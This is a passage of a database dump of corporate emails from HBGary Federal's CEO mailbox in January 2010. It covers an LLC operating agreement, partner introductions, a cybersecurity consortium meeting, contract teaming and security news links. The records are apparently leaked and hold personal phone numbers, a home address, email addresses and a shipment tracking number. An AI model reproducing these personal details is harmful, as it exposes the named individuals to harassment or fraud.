4:13 PM, Angela De La Housaye\r\n wrote:\r\n> That\'s good. let me have Maheen finalize it and get a clean original to\r\nyou to have everyone sign. Please provide us a copy of signed document.\r\n>\r\n> C. Angela De La Housaye, Esq.\r\n>\r\n> angela@delahousayelaw.com\r\n>\r\n>\r\n>\r\n> De La Housaye & Associates\r\n>\r\n> A Law Corporation\r\n>\r\n> www.delahousayelaw.com\r\n>\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Penny Hoglund [mailto:penny@hbgary.com]\r\n> Sent: Thursday, January 21, 2010 4:08 PM\r\n> To: Angela De La Housaye\r\n> Subject: FW: HBGary Federal LLC Operating Agreement draft 11\r\n> Importance: High\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: John L. Cox, CPA [mailto:johncoxcpa@verizon.net]\r\n> Sent: Thursday, January 21, 2010 3:50 PM\r\n> To: \'Penny Hoglund\'\r\n> Subject: RE: HBGary Federal LLC Operating Agreement draft 11\r\n> Importance: High\r\n>\r\n> See suggested wording on Page 2.\r\n>\r\n> John L. Cox, CPA\r\n> 12107 Faith Lane\r\n> Bowie, Maryland 20715\r\n> (240) 949-6022 Voice\r\n> (866) 750-1973 Fax\r\n>\r\n> This message contains information that may be confidential and privileged.\r\n> Unless you are the addressee (or authorized to receive for the \r\n> addressee), you may not use, copy, print or disclose to anyone the \r\n> message or any information contained in the message. If you have \r\n> received this e-mail in error, please advise the sender by reply and\r\ndelete the message. Thank you.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Penny Hoglund [mailto:penny@hbgary.com]\r\n> Sent: Thursday, January 21, 2010 6:14 PM\r\n> To: \'John L. Cox, CPA\'\r\n> Subject: FW: HBGary Federal LLC Operating Agreement draft 11\r\n>\r\n> See angelas comments, if OK, they we can go final\r\n>\r\n> -----Original Message-----\r\n> From: Angela De La Housaye [mailto:angela@delahousayelaw.com]\r\n> Sent: Thursday, January 21, 2010 2:58 PM\r\n> To: Penny Hoglund\r\n> Cc: Maheen Sadruddin\r\n> Subject: RE: HBGary Federal LLC Operating Agreement draft 11\r\n>\r\n> Penny,\r\n>  Attached is the new draft. I agree with John\'s comments, can you have \r\n> him take a look at this (unless you want me to send it to him directly).\r\n>  I added his verbiage re the contribution of a partner and added more \r\n> language re replenishment of a deficit in a capital account. If he \r\n> wants more language or thinks it should be different, have him insert \r\n> the language as it\'s tax related now.\r\n>  I\'m attaching this draft. Let me know if we can go final with this \r\n> language.  (also Maheen needs to finish the corp work, so let me know \r\n> if you have an EIN  Thanks.\r\n>\r\n> C. Angela De La Housaye, Esq.\r\n>\r\n> angela@delahousayelaw.com\r\n>\r\n>\r\n>\r\n> De La Housaye & Associates\r\n>\r\n> A Law Corporation\r\n>\r\n> www.delahousayelaw.com\r\n>\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Penny Hoglund [mailto:penny@hbgary.com]\r\n> Sent: Thursday, January 21, 2010 12:54 PM\r\n> To: Angela De La Housaye\r\n> Subject: FW: HBGary Federal LLC Operating Agreement\r\n> Importance: High\r\n>\r\n> See John\'s comments, other than that I agree with them and let\'s finalize.\r\n> I would think the wording he suggested works\r\n>\r\n> -----Original Message-----\r\n> From: John L. Cox, CPA [mailto:johncoxcpa@verizon.net]\r\n> Sent: Thursday, January 21, 2010 12:51 PM\r\n> To: \'Penny Leavy\'\r\n> Subject: RE: HBGary Federal LLC Operating Agreement\r\n> Importance: High\r\n>\r\n> Penny,\r\n>\r\n> My apologies.  I thought I emailed comments to you last night at 7:30pm.\r\n> See attached comments on pages 2 and 25.\r\n>\r\n> John L. Cox, CPA\r\n> 12107 Faith Lane\r\n> Bowie, Maryland 20715\r\n> (240) 949-6022 Voice\r\n> (866) 750-1973 Fax\r\n>\r\n> This message contains information that may be confidential and privileged.\r\n> Unless you are the addressee (or authorized to receive for the \r\n> addressee), you may not use, copy, print or disclose to anyone the \r\n> message or any information contained in the message. If you have \r\n> received this e-mail in error, please advise the sender by reply and\r\ndelete the message. Thank you.\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Penny Leavy [mailto:penny@hbgary.com]\r\n> Sent: Thursday, January 21, 2010 2:46 PM\r\n> To: John L. Cox, CPA\r\n> Subject: Re: HBGary Federal LLC Operating Agreement\r\n>\r\n> status on this?  I Really need it\r\n>\r\n> On Wed, Jan 20, 2010 at 1:39 PM, John L. Cox, CPA \r\n> \r\n> wrote:\r\n>> I will review shortly and get back with you.\r\n>>\r\n>> John L. Cox, CPA\r\n>> 12107 Faith Lane\r\n>> Bowie, Maryland 20715\r\n>> (240) 949-6022 Voice\r\n>> (866) 750-1973 Fax\r\n>>\r\n>> This message contains information that may be confidential and\r\nprivileged.\r\n>> Unless you are the addressee (or authorized to receive for the \r\n>> addressee), you may not use, copy, print or disclose to anyone the \r\n>> message or any information contained in the message. If you have \r\n>> received this e-mail in error, please advise the sender by reply and \r\n>> delete the message. Thank\r\n> you.\r\n>>\r\n>>\r\n>> -----Original Message-----\r\n>> From: Penny Leavy [mailto:penny@hbgary.com]\r\n>> Sent: Wednesday, January 20, 2010 4:34 PM\r\n>> To: John L. Cox, CPA\r\n>> Subject: Fwd: HBGary Federal LLC Operating Agreement\r\n>>\r\n>> Are changes OK?  I need to get this signed to fund bank account\r\n>>\r\n>>\r\n>> ---------- Forwarded message ----------\r\n>> From: Angela De La Housaye \r\n>> Date: Wed, Jan 20, 2010 at 1:21 PM\r\n>> Subject: HBGary Federal LLC Operating Agreement\r\n>> To: Penny Leavy \r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Hello, Penny;\r\n>>\r\n>>  I am attaching the revised Operating Agreement. Please re-read the \r\n>> highlighted section, and refer to the comment section in the margin.\r\n>> I\'d like to confirm that the capital account deficit language we have \r\n>> is sufficient.\r\n>>\r\n>>   Also, as an aside, the time to prepare and revise this is capped at \r\n>> the quote we gave you, but due to revisions and information outside \r\n>> of our control, the revising and calculations caused time allocated \r\n>> to this\r\n> project\r\n>> to exceed by more than double the estimate. (The original OA you \r\n>> forwarded was not sufficient and we did not use that one).\r\n>>\r\n>>   I have honored our original flat fee, of course.\r\n>>\r\n>>   Angela\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>   C. Angela De La Housaye, Esq.\r\n>>\r\n>>     angela@delahousayelaw.com\r\n>>\r\n>>     925/944-3300\r\n>>\r\n>>\r\n>>\r\n>>    De La Housaye & Associates\r\n>>\r\n>> A Law Corporation\r\n>>\r\n>>     www.delahousayelaw.com\r\n>>\r\n>>\r\n>>\r\n>> Walnut Creek - San Francisco - Los Angeles\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>    NOTICE - Any tax information or written tax advice contained \r\n>> herein (including attachments) is not intended to be and cannot be \r\n>> used by any taxpayer for the purpose of avoiding tax penalties that \r\n>> may be imposed on the taxpayer.  (The foregoing legend has been \r\n>> affixed pursuant\r\n> to U.S.\r\n>> Treasury regulations governing tax practice.)\r\n>>\r\n>>\r\n>>\r\n>> This message and any attached files may contain information that is \r\n>> confidential and/or subject of legal privilege intended only for use \r\n>> by\r\n> the\r\n>> intended recipient. If you are not the intended recipient or the \r\n>> person responsible for   delivering the message to the intended \r\n>> recipient, be advised that you have received this message in error \r\n>> and that any dissemination, copying or use of this message or \r\n>> attachment is strictly forbidden, as is the disclosure of the \r\n>> information therein. If you have received this message in error \r\n>> please notify the sender immediately and delete the message.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Penny C. Leavy\r\n> HBGary, Inc.\r\n>\r\n\r\n\r\n\r\n--\r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',2985,'aaron_hbgary_com/2985.html'),(1398,'2010-01-23','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000388.M787741P3547Q1398.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Trynor Mark\" <mark.trynor@gmail.com>','Gizmodo','\r\nModern day Mobile Robin Hood:\r\n\r\nhttp://m.gizmodo.com/site?sid=gizmodoip&pid=JuicerHub&targetUrl=http%3A%2F%2Fgizmodo.com%2F5454961%2Fthe-greatest-use-for-att-display-phone%3Futm_source%3Dfeedburner%26utm_medium%3Dfeed%26utm_campaign%3DFeed%253A%2Bgizmodo%252Ffull%2B%2528Gizmodo%2529%3Fop%3Dpost%26refId%3D5454961%26utm_source%3Dfeedburner%26utm_medium%3Dfeed%26utm_campaign%3DFeed%253A%2Bgizmodo%252Ffull%2B%2528Gizmodo%2529\r\n\r\n\r\n\r\n',5225,'aaron_hbgary_com/5225.html'),(1399,'2010-01-24','\"Mulville, Michael E.\" <MICHAEL.E.MULVILLE@saic.com>','/aaron@hbgary.com/new/1297000389.M301573P3547Q1400.eml','\"Matt O\'Flynn\" <matt@hbgary.com>,michael.p.courtny@saic.com,\"Aaron Barr\" <aaron@hbgary.com>','RE: Virtual Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMatt &#8211; \r\n\r\n&nbsp;\r\n\r\nThanks for the introduction.\r\n\r\n&nbsp;\r\n\r\nAaron, I&#8217;m meeting up with\r\nBob Slapnik shortly to discuss needs, and direction.\r\n\r\n&nbsp;\r\n\r\nI assuming your headed out to\r\nthe DC3 show in St. Louis, but might be a good idea to meet up, upon your\r\nreturn.\r\n\r\n&nbsp;\r\n\r\nThanks &#8211; Mike Mulville\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Matt O\'Flynn\r\n[mailto:matt@hbgary.com] \r\nSent: Thursday, January 21, 2010 1:50 PM\r\nTo: Mulville, Michael E.; michael.p.courtny@saic.com; \'Aaron Barr\'\r\nSubject: Virtual Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMike &amp; Michael,\r\n\r\n&nbsp;\r\n\r\nGood seeing you yesterday. Please meet Aaron, who is the CEO\r\nof HBGary Federal , our subsidiary who is specializing in the services we\r\ndiscussed. See contact info below. Hopefully you will find one another&#8217;s\r\ncapabilities very complementary.\r\n\r\n&nbsp;\r\n\r\nAaron Barr\r\n\r\n719-510-8478-Cell\r\n\r\n&nbsp;\r\n\r\nMike Mulville \r\n\r\n703-622-9121\r\n\r\n&nbsp;\r\n\r\nMichael Courtny&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\n443-306-5683\r\n\r\n&nbsp;\r\n\r\nBest,\r\n\r\n&nbsp;\r\n\r\nMatt O\'Flynn\r\n\r\n954-559-6934\r\n\r\nwww.hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14383,'aaron_hbgary_com/14383.html'),(1400,'2010-01-25','\"Brian Girardi\" <brian@netwitness.com>','/aaron@hbgary.com/new/1297000389.M491785P3547Q1401.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting','\r\n\r\nRe: Meeting\r\n\r\n\r\nAaron,\r\n\r\nIm in. &nbsp;I definitely need to attend the meeting to understand the scope, which will be important for planning and any PR around the effort. &nbsp;Let me know where and when. - Brian\r\n\r\n\r\nOn 1/22/10 12:41 AM, &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Brian,\r\n\r\nI enjoyed our discussion, and I look forward to working more with Netwitness in the future. &nbsp;Have you had a chance to talk with Amit regarding Netwitnesses participation in the cybersecurity group I discussed with you? &nbsp;If you can participate in the discussion on Tuesday, it will a brief open discussion of the concept, introduction of other participants, and initial steps/ideas for integration. &nbsp;So far NG Xetron, HBGary, HBGary Federal, Palantir, Splunk, and EndGames will be present.\r\n\r\nFollowing that I will be working with Xetron to set up an integration team and also working with my PR person for a press release. &nbsp;The uniqueness here I think will not only be the combination of a full spectrum of cybersecurity capabilities but worked in an alliance format rather than as a large integrator selecting products. &nbsp;As the alliance matures I think there are many possible positive outgrowths.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you. \r\n\r\n\r\n',6171,'aaron_hbgary_com/6171.html'),(1401,'2010-01-25','\"Brian Girardi\" <brian@netwitness.com>','/aaron@hbgary.com/new/1297000389.M665446P3547Q1402.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n\r\n            Brian Girardi has indicated you are a person they\'ve done business with at NetWitness Corp.:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Brian Girardi\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Brian Girardi\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can showcase your professional knowledge on LinkedIn to receive job/consulting offers and enhance your professional reputation? Posting replies to questions on LinkedIn Answers puts you in front of the world\'s professional community. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',5913,'aaron_hbgary_com/5913.html'),(1402,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000389.M842700P3547Q1403.eml','\"Brian Girardi\" <brian@netwitness.com>','Re: Meeting','Great. &nbsp;I will come with some ideas, but they are just that...really looking forward to hearing from the larger group. &nbsp;Everyone so far seems enthusiastic. &nbsp;I thought I sent a meeting notice, but I will double check and resend. &nbsp;Its in the Palantir spaces in Tysons Corner.See you Tuesday.AaronOn Jan 24, 2010, at 9:12 PM, Brian Girardi wrote:\r\nAaron,\r\n\r\nIm in. &nbsp;I definitely need to attend the meeting to understand the scope, which will be important for planning and any PR around the effort. &nbsp;Let me know where and when. - Brian\r\n\r\n\r\nOn 1/22/10 12:41 AM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Brian,\r\n\r\nI enjoyed our discussion, and I look forward to working more with Netwitness in the future. &nbsp;Have you had a chance to talk with Amit regarding Netwitnesses participation in the cybersecurity group I discussed with you? &nbsp;If you can participate in the discussion on Tuesday, it will a brief open discussion of the concept, introduction of other participants, and initial steps/ideas for integration. &nbsp;So far NG Xetron, HBGary, HBGary Federal, Palantir, Splunk, and EndGames will be present.\r\n\r\nFollowing that I will be working with Xetron to set up an integration team and also working with my PR person for a press release. &nbsp;The uniqueness here I think will not only be the combination of a full spectrum of cybersecurity capabilities but worked in an alliance format rather than as a large integrator selecting products. &nbsp;As the alliance matures I think there are many possible positive outgrowths.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you. \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9588,'aaron_hbgary_com/9588.html'),(1403,'2010-01-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000389.M89893P3547Q1399.eml','\"Aaron Barr\" <aaron@hbgary.com>','Nice maps','Have you seen the maps available here:\r\n\r\nhttp://www.shadowserver.org/\r\n\r\nTed\r\n\r\n\r\nTed H. Vera\r\nPresident | COO\r\nHB Gary Federal\r\nted@hbgary.com\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\n\r\n\r\n\r\n',12460,'aaron_hbgary_com/12460.html'),(1404,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000390.M18584P3547Q1404.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Meeting','Thats everyone.AaronBegin forwarded message:From: \"Brian Girardi\" &lt;brian@netwitness.com&gt;Date: January 24, 2010 9:12:06 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: Re: Meeting\r\nAaron,\r\n\r\nIm in. &nbsp;I definitely need to attend the meeting to understand the scope, which will be important for planning and any PR around the effort. &nbsp;Let me know where and when. - Brian\r\n\r\n\r\nOn 1/22/10 12:41 AM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Brian,\r\n\r\nI enjoyed our discussion, and I look forward to working more with Netwitness in the future. &nbsp;Have you had a chance to talk with Amit regarding Netwitnesses participation in the cybersecurity group I discussed with you? &nbsp;If you can participate in the discussion on Tuesday, it will a brief open discussion of the concept, introduction of other participants, and initial steps/ideas for integration. &nbsp;So far NG Xetron, HBGary, HBGary Federal, Palantir, Splunk, and EndGames will be present.\r\n\r\nFollowing that I will be working with Xetron to set up an integration team and also working with my PR person for a press release. &nbsp;The uniqueness here I think will not only be the combination of a full spectrum of cybersecurity capabilities but worked in an alliance format rather than as a large integrator selecting products. &nbsp;As the alliance matures I think there are many possible positive outgrowths.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street, Suite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state law governing electronic communications and may contain company proprietary and legally privileged information.  If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution, use or copying of this message is strictly prohibited.  If you have received this in error, please reply immediately to the sender and delete this message.  Thank you. \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',15947,'aaron_hbgary_com/15947.html'),(1405,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000390.M192127P3547Q1405.eml','\"Aaron Barr\" <adbarr@mac.com>','','http://www.theregister.co.uk/2010/01/15/cybersitter_law_firm_attack/\r\nhttp://oreilly.com/catalog/9780596802158/\r\n\r\nhttp://www.marketingvox.com/yahoo-google-combine-social-media-with-local-mobile-search-045990/\r\nhttp://blog.fireeye.com/research/2010/01/pdf-obfuscation.html\r\nhttp://mobile.computerworld.com/device/article.php?CALL_URL=http://www.computerworld.com/s/article/9145279/Chinese_authorities_behind_Google_attack_researcher_claims\r\n\r\nhttp://www.wired.com/epicenter/2010/01/google-china-engagement/\r\nhttp://gigaom.com/2010/01/15/how-to-beat-the-internet-censors/\r\n\r\nhttp://www.federalnewsradio.com/index.php?nid=19&sid=1865259\r\n\r\nhttp://news.cnet.com/8301-13579_3-10436093-37.html?part=rss&subj=news&tag=2547-1_3-0-20\r\n\r\nhttp://news.cnet.com/1606-2_3-50082324.html?part=rss&subj=news&tag=2547-1_3-0-20\r\n\r\nhttp://tech.slashdot.org/story/10/01/16/029201/Code-Used-To-Attack-Google-Now-Public?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n\r\nhttp://mobile.computerworld.com/device/article.php?CALL_URL=http://www.computerworld.com/s/article/9145300/Google_finds_little_support_so_far_for_its_China_threat\r\n\r\nhttp://theindependentforum.blogspot.com/2010/01/after-google-cyber-sieges-and-sino.html\r\n\r\nhttp://news.cnet.com/8301-1009_3-10436476-83.html\r\n\r\nhttp://www.businessinsider.com/iphone/index?a=google-china-employees-may-have-helped-chinese-government-hack-google-2010-1\r\n\r\nhttp://www.theregister.co.uk/2010/01/18/booby_trapped_pdf_cyber_espionage/\r\n\r\nhttp://it.slashdot.org/story/10/01/18/1535222/Whats-Holding-Back-Encryption?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n\r\nhttp://tech.slashdot.org/story/10/01/18/1623248/Google-Investigating-Chinese-Employees?from=rss&utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Slashdot%2Fslashdot+%28Slashdot%29\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8096,'aaron_hbgary_com/8096.html'),(1406,'2010-01-25','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297000390.M379630P3547Q1406.eml','\"Aaron Barr\" <aaron@hbgary.com>','Bill Rohlman has accepted your LinkedIn invitation','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and Bill are now connected.\r\n\r\n \r\n   \r\n   View Bill\'s profile to:\r\n     \r\n       Download Bill\'s current contact information\r\n       Write a recommendation for Bill\r\n       Find opportunities through Bill\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/74GQgvacGxZR3E5O7EOQw5Eauzi/fpf/10830876/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',1146,'aaron_hbgary_com/1146.html'),(1407,'2010-01-25','\"Ann Marie Arquilla\" <amarquilla@mavenresearch.com>','/aaron@hbgary.com/new/1297000395.M633249P3547Q1407.eml','\"Aaron\" <aaron@hbgary.com>','I Have Nominated You for Membership in Maven','\r\n\r\n\r\nAaron,\r\n\r\nMy name is Ann Marie Arquilla, and I am an Account Manager at Maven Research. We ran across your contact information and thought you might be interested in becoming a member of the Maven network, through which you will have the opportunity to earn substantial consulting fees by sharing your knowledge with other professionals.\r\nMaven connects knowledge seekers with reputable professionals for paid interactions, including brief Telephone Consultations, Electronic Surveys, and Extended Consulting Projects. Our Clients frequently seek out academics, engineers, resellers, researchers, and other professionals to consult with, and we are willing to pay you at an hourly rate of your choosing to interact with them. Please follow the link below to learn more, and let me know if you have any questions about Maven.\r\n\r\n\r\nClick here to learn more. If the link doesn\'t work, you can copy and paste the text below into your web browser:\r\n\r\nhttps://www.mavenresearch.com/invite/accept/Mnmskp4Y\r\n\r\nAnn Marie\r\n\r\n\r\n\r\nAaron,\r\n\r\nYou have been nominated for Membership in Maven, the Global Knowledge Marketplace. Ann Marie believes that you would be an excellent contributor to Maven. Maven provides a platform for you to profit from what you know by consulting with Maven’s clients, who are researchers willing to pay to gain knowledge on a wide variety of subjects. Because we are all experts in something, we should all have the opportunity to profit from what we know.\r\n\r\nWhy Join Maven? Profit. Researchers will pay to learn about products, technologies, markets, and trends – and while the topics they wish to discuss may be part of the daily grind for you, they are obscure and interesting to others. Maven\'s clients know that the best and most efficient way to learn is not to wander around the Internet for hours, but to talk to knowledgeable professionals with actual real world experience. Maven is the only marketplace that allows you to advertise and share your knowledge directly with those who value it most.\r\n\r\nFurthermore, it’s not just what you know, it’s who you know. Once you become a Member, Maven will pay you ongoing commissions on consulting fees earned by any new Members you introduce to the Maven Knowledge Marketplace.\r\n\r\nBecoming a Maven is free and takes just a few minutes. Once you join, Maven\'s Clients will have the ability to find your knowledge profile (which does not disclose your identity or contact info) and offer you opportunities to share your knowledge via short engagements such as telephone consultations and anonymous surveys. You decide whether to participate in each individual engagement. Of course, you will be compensated for your participation at the hourly rate of your choosing. (How much? Click here to find out.)\r\n\r\nWe encourage you to start building your profile today. If you get interrupted, you can always save your partial profile and return to complete it later. Once you have finished, don’t forget to use the “Earn Dividends” link from within your profile to invite other Mavens and increase your profits.\r\n\r\nClick here to learn more. If the link doesn\'t work, you can copy and paste the text below into your web browser:\r\n\r\nhttps://www.mavenresearch.com/invite/accept/Mnmskp4Y\r\n\r\n\r\n\r\n\r\nAlready a Maven? Click here to add this e-mail address to your Profile.\r\n\r\nNot interested in Maven? Click here and we will remove you from further communications.\r\n\r\n\r\n\r\n&copy; 2009 Maven Research, Inc.; 505 Montgomery Street, 11th Floor, San Francisco, CA 94111',12449,'aaron_hbgary_com/12449.html'),(1408,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000396.M634114P3547Q1408.eml','\"John Farrell\" <john@endgames.us>,\"John Farrell\" <john@endgames.us>','AF BAA','Hey John,\r\n\r\nAre you guys responding to this?  Want to go after it together?  I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about.  Seems like a good combination.\r\n\r\n\r\n\r\n',4096,'aaron_hbgary_com/4096.html'),(1409,'2010-01-25','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000399.M777518P3547Q1409.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: AF BAA','i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.\r\n\r\nHave you seen this attached BAA? Might be another one where we could team up.\r\n\r\nthanks\r\n',6388,'aaron_hbgary_com/6388.html'),(1410,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000400.M316361P3547Q1410.eml','\"Ted Vera\" <ted@hbgary.com>','','http://www.herbb.hanscom.af.mil/rfp_list.asp\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6784,'aaron_hbgary_com/6784.html'),(1411,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000402.M114603P3547Q1411.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: AF BAA','\r\n\r\nBegin forwarded message:\r\n\r\n> From: John Farrell \r\n> Date: January 25, 2010 10:53:40 AM EST\r\n> To: Aaron Barr \r\n> Subject: Re: AF BAA\r\n> \r\n> i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.\r\n> \r\n> Have you seen this attached BAA? Might be another one where we could team up.\r\n> \r\n> thanks\r\n> \r\n> \r\n> \r\n> On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:\r\n> \r\n>> Hey John,\r\n>> \r\n>> Are you guys responding to this?  Want to go after it together?  I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about.  Seems like a good combination.\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> John M. Farrell\r\n> Vice President, Federal\r\n> john@endgames.us\r\n> 703.622.9025\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8472,'aaron_hbgary_com/8472.html'),(1412,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000402.M780076P3547Q1412.eml','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','Re: Tracking Number for Ins. Paperwork','Thanks. &nbsp;What happened to the paperwork I filled out with Jeff?AaronOn Jan 22, 2010, at 6:32 PM, DeeAnn Buonaccorsi wrote:Hi Aaron,&nbsp;I just sent all of your insurance information.&nbsp; Your start date is March 1, 2010.&nbsp; Your UPS ground tracking number is 1Z AF7112 03 9454 9103.&nbsp; You should have the package no later than Friday 1/29/09.&nbsp;&nbsp;Thanks&nbsp;DeeAnn BuonaccorsiOffice ManagerHBGary, Inc.3604 Fair Oaks Blvd.&nbsp; Suite 250Sacramento, CA&nbsp; 95864Tel:&nbsp; 916-459-4727 ext. 101Fax: 916-481-1460Email&nbsp;&nbsp;deeann@hbgary.com&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6869,'aaron_hbgary_com/6869.html'),(1413,'2010-01-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000403.M395831P3547Q1413.eml','\"Penny Leavy\" <penny@hbgary.com>','Re: Meet this week? Integration discussion & I want to introduce CEO  of HBGary Federal - Aaron Barr','Thanks Penny.  I will definitely take a look.  We have the first kickoff meeting tomorrow with all the consortium members.  I am excited to get started.  I will be working with Karen to get out the press release in the next few weeks.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 22, 2010, at 2:34 PM, Penny Leavy wrote:\r\n\r\n> Hi Aaron,\r\n> \r\n> I am going to have a discussion with Fidelis, which does real time\r\n> inspection instead of off line like NetWitness.  Apparently we have\r\n> customers using both us and them.  You might want to take a look 